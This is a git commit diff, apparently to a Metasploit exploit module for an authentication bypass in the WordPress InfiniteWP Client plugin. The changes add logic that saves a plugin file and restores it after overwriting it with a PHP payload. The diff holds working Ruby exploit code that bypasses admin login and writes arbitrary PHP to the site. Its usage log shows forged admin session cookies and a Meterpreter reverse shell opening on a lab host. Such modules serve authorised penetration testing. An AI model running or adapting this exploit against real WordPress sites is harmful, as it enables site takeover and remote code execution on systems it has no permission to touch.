Restore the original PLUGIN_FILE contents
This commit is contained in:
@@ -2,7 +2,14 @@
|
||||
|
||||
This module exploits an authentication bypass in the WordPress
|
||||
InfiniteWP Client plugin to log in as an administrator and execute
|
||||
arbitrary PHP code. A valid administrator username is required.
|
||||
arbitrary PHP code by overwriting the file specified by `PLUGIN_FILE`.
|
||||
|
||||
The module will attempt to retrieve the original `PLUGIN_FILE` contents
|
||||
and restore them after payload execution. If `VerifyContents` is set,
|
||||
which is the default setting, the module will check to see if the
|
||||
restored contents match the original.
|
||||
|
||||
Note that a valid administrator username is required for this module.
|
||||
|
||||
## Setup
|
||||
|
||||
@@ -19,11 +26,22 @@ Id Name
|
||||
|
||||
## Options
|
||||
|
||||
**USERNAME**
|
||||
|
||||
Set this to a known, valid administrator username. Authentication will
|
||||
be bypassed for this user.
|
||||
|
||||
**PLUGIN_FILE**
|
||||
|
||||
Set this to a plugin file to insert the payload into, relative to the
|
||||
plugins directory, which is normally `/wp-content/plugins`. The file
|
||||
must exist and be writable by the web user. It will be overwritten.
|
||||
must exist and be writable by the web user. It will be overwritten and
|
||||
later restored.
|
||||
|
||||
**VerifyContents**
|
||||
|
||||
Verify that the restored contents of `PLUGIN_FILE` match the original.
|
||||
This is the default setting.
|
||||
|
||||
## Usage
|
||||
|
||||
@@ -34,20 +52,29 @@ msf5 exploit(unix/webapp/wp_infinitewp_auth_bypass) > run
|
||||
[*] Found version 1.9.4.4 in the custom file
|
||||
[*] Bypassing auth for admin at http://127.0.0.1:8080/
|
||||
[+] Successfully obtained cookie for admin
|
||||
[*] Cookie: wordpress_37d007a56d816107ce5b52c10342db37=admin%7C1579485087%7CINVpiM6qkCHdJYwQ6NacqF266nGBG7I9sRz9jgeSYMl%7C16a01e62816ac417c021215bd344ec9fa7a8ff49125f949019fdc89623131ef5; wordpress_37d007a56d816107ce5b52c10342db37=admin%7C1579485087%7CINVpiM6qkCHdJYwQ6NacqF266nGBG7I9sRz9jgeSYMl%7C16a01e62816ac417c021215bd344ec9fa7a8ff49125f949019fdc89623131ef5; wordpress_logged_in_37d007a56d816107ce5b52c10342db37=admin%7C1579485087%7CINVpiM6qkCHdJYwQ6NacqF266nGBG7I9sRz9jgeSYMl%7C9c1dd6506b08207bd81ee38a4cf7c9a0260ff7bbf4aec52d1a8ebd32a4d2f47e; wordpress_sec_37d007a56d816107ce5b52c10342db37=admin%7C1579485087%7CG6fm34loHaQrpkXc8eFGFcGXdaagX1MetNPuZM4cgGr%7C7b6635d34187a7f931e9e101cf6868916329730829ece06be5a9d12ad9fc94f3; wordpress_sec_37d007a56d816107ce5b52c10342db37=admin%7C1579485087%7CG6fm34loHaQrpkXc8eFGFcGXdaagX1MetNPuZM4cgGr%7C7b6635d34187a7f931e9e101cf6868916329730829ece06be5a9d12ad9fc94f3; wordpress_logged_in_37d007a56d816107ce5b52c10342db37=admin%7C1579485087%7CG6fm34loHaQrpkXc8eFGFcGXdaagX1MetNPuZM4cgGr%7C9a91c6c80d74d0836ed69e55de3aab4a13e003f2004a982c0997cc46b8b80226;
|
||||
[*] Editing payload into /wp-content/plugins/index.php
|
||||
[*] Acquired a plugin edit nonce: 8586e26cd9
|
||||
[*] Cookie: wordpress_37d007a56d816107ce5b52c10342db37=admin%7C1579553438%7COxBLq33okE0wpLhPExpGTmYwiVFKf9lxPMikSWH9Gzf%7C52db8d17e2e078af4cc32f7c50a36114c2c325c031f3e10dc7bea303c7dba604; wordpress_37d007a56d816107ce5b52c10342db37=admin%7C1579553438%7COxBLq33okE0wpLhPExpGTmYwiVFKf9lxPMikSWH9Gzf%7C52db8d17e2e078af4cc32f7c50a36114c2c325c031f3e10dc7bea303c7dba604; wordpress_logged_in_37d007a56d816107ce5b52c10342db37=admin%7C1579553438%7COxBLq33okE0wpLhPExpGTmYwiVFKf9lxPMikSWH9Gzf%7C44ecac44335ad633ea98045a7085c4947fee015b700b8b7d9463dd44d2388bb2; wordpress_sec_37d007a56d816107ce5b52c10342db37=admin%7C1579553438%7C1h94K6uHKvFtqDB7jrIthpauRgc3eavVak6DVOjAHn3%7C9dfc5a01eb1df39b91ec09823e0b44e9a36490a096f5205dc2209664f689bdc9; wordpress_sec_37d007a56d816107ce5b52c10342db37=admin%7C1579553438%7C1h94K6uHKvFtqDB7jrIthpauRgc3eavVak6DVOjAHn3%7C9dfc5a01eb1df39b91ec09823e0b44e9a36490a096f5205dc2209664f689bdc9; wordpress_logged_in_37d007a56d816107ce5b52c10342db37=admin%7C1579553438%7C1h94K6uHKvFtqDB7jrIthpauRgc3eavVak6DVOjAHn3%7C240d956e7a43f2ed3193171df429c8a8fb9ba3bac2f9805cdf88789f90a186df;
|
||||
[*] Retrieving original contents of /wp-content/plugins/index.php
|
||||
[+] Successfully retrieved original contents of /wp-content/plugins/index.php
|
||||
[*] Contents:
|
||||
<?php
|
||||
// Silence is golden.
|
||||
[*] Overwriting /wp-content/plugins/index.php with payload
|
||||
[*] Acquired a plugin edit nonce: 9901ed8f55
|
||||
[*] Edited plugin file index.php
|
||||
[+] Successfully edited payload into /wp-content/plugins/index.php
|
||||
[+] Successfully overwrote /wp-content/plugins/index.php with payload
|
||||
[*] Requesting payload at /wp-content/plugins/index.php
|
||||
[*] Restoring original contents of /wp-content/plugins/index.php
|
||||
[*] Sending stage (38288 bytes) to 192.168.56.1
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.1:49273) at 2020-01-17 19:51:27 -0600
|
||||
[*] Acquired a plugin edit nonce: 9901ed8f55
|
||||
[*] Edited plugin file index.php
|
||||
[+] Current contents of /wp-content/plugins/index.php match original!
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.1:58534) at 2020-01-18 14:50:39 -0600
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data (33)
|
||||
meterpreter > sysinfo
|
||||
Computer : 4d173f97f00b
|
||||
OS : Linux 4d173f97f00b 4.9.184-linuxkit #1 SMP Tue Jul 2 22:58:16 UTC 2019 x86_64
|
||||
Computer : 4e8791809581
|
||||
OS : Linux 4e8791809581 4.9.184-linuxkit #1 SMP Tue Jul 2 22:58:16 UTC 2019 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
@@ -44,10 +44,10 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Admin
|
||||
# Edits a plugin file (relative to plugins dir) using a valid admin session.
|
||||
#
|
||||
# @param file [String] The plugin file to edit (relative to plugins dir)
|
||||
# @param content [String] The plugin file content as a string (OVERWRITES!)
|
||||
# @param contents [String] The plugin file contents to overwrite with
|
||||
# @param cookie [String] A valid admin session cookie
|
||||
# @return [Boolean] true on success, false on error
|
||||
def wordpress_edit_plugin(file, content, cookie)
|
||||
def wordpress_edit_plugin(file, contents, cookie)
|
||||
unless (nonce = wordpress_helper_get_plugin_edit_nonce(cookie, file))
|
||||
vprint_error('Failed to acquire the plugin edit nonce')
|
||||
return false
|
||||
@@ -69,7 +69,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Admin
|
||||
'_wpnonce' => nonce,
|
||||
'file' => file,
|
||||
'action' => 'update',
|
||||
'newcontent' => content
|
||||
'newcontent' => contents
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
@@ -169,4 +169,26 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
|
||||
)
|
||||
end
|
||||
|
||||
# Helper method to retrieve plugin file contents.
|
||||
#
|
||||
# @param cookie [String] A valid admin session cookie
|
||||
# @param file [String] The plugin file to retrieve (relative to plugins dir)
|
||||
# @return [String,nil] The contents, nil on error
|
||||
def wordpress_helper_get_plugin_file_contents(cookie, file)
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(wordpress_url_backend, 'plugin-editor.php'),
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {'file' => file}
|
||||
)
|
||||
|
||||
return unless res && res.code == 200
|
||||
|
||||
contents = res.get_html_document.at('//textarea[@name = "newcontent"]')
|
||||
|
||||
return unless contents
|
||||
|
||||
contents.text
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress
|
||||
|
||||
@@ -15,7 +15,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'Description' => %q{
|
||||
This module exploits an authentication bypass in the WordPress
|
||||
InfiniteWP Client plugin to log in as an administrator and execute
|
||||
arbitrary PHP code. A valid administrator username is required.
|
||||
arbitrary PHP code by overwriting the file specified by PLUGIN_FILE.
|
||||
|
||||
The module will attempt to retrieve the original PLUGIN_FILE contents
|
||||
and restore them after payload execution. If VerifyContents is set,
|
||||
which is the default setting, the module will check to see if the
|
||||
restored contents match the original.
|
||||
|
||||
Note that a valid administrator username is required for this module.
|
||||
},
|
||||
'Author' => [
|
||||
'WebARX', # Discovery
|
||||
@@ -43,7 +50,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptBool.new('ForceExploit', [false, 'Override check result', false])
|
||||
OptBool.new('ForceExploit', [false, 'Override check result', false]),
|
||||
OptBool.new('VerifyContents', [false, 'Verify file contents', true])
|
||||
])
|
||||
end
|
||||
|
||||
@@ -104,18 +112,45 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
print_good("Successfully obtained cookie for #{username}")
|
||||
vprint_status("Cookie: #{cookie}")
|
||||
|
||||
print_status("Editing payload into #{plugin_uri}")
|
||||
unless wordpress_edit_plugin(plugin_file, payload.encoded, cookie)
|
||||
fail_with(Failure::UnexpectedReply, "Could not edit #{plugin_uri}")
|
||||
print_status("Retrieving original contents of #{plugin_uri}")
|
||||
og_contents = wordpress_helper_get_plugin_file_contents(cookie, plugin_file)
|
||||
|
||||
unless og_contents
|
||||
fail_with(Failure::UnexpectedReply, "Could not retrieve #{plugin_uri}")
|
||||
end
|
||||
|
||||
print_good("Successfully edited payload into #{plugin_uri}")
|
||||
print_good("Successfully retrieved original contents of #{plugin_uri}")
|
||||
vprint_status('Contents:')
|
||||
print(og_contents)
|
||||
|
||||
print_status("Overwriting #{plugin_uri} with payload")
|
||||
unless wordpress_edit_plugin(plugin_file, payload.encoded, cookie)
|
||||
fail_with(Failure::UnexpectedReply, "Could not overwrite #{plugin_uri}")
|
||||
end
|
||||
|
||||
print_good("Successfully overwrote #{plugin_uri} with payload")
|
||||
|
||||
print_status("Requesting payload at #{plugin_uri}")
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => plugin_uri
|
||||
}, 0)
|
||||
ensure
|
||||
print_status("Restoring original contents of #{plugin_uri}")
|
||||
unless wordpress_edit_plugin(plugin_file, og_contents, cookie)
|
||||
fail_with(Failure::UnexpectedReply, "Could not restore #{plugin_uri}")
|
||||
end
|
||||
|
||||
return unless datastore['VerifyContents']
|
||||
|
||||
contents = wordpress_helper_get_plugin_file_contents(cookie, plugin_file)
|
||||
|
||||
unless contents == og_contents
|
||||
fail_with(Failure::UnexpectedReply,
|
||||
"Current contents of #{plugin_uri} DO NOT match original!")
|
||||
end
|
||||
|
||||
print_good("Current contents of #{plugin_uri} match original!")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user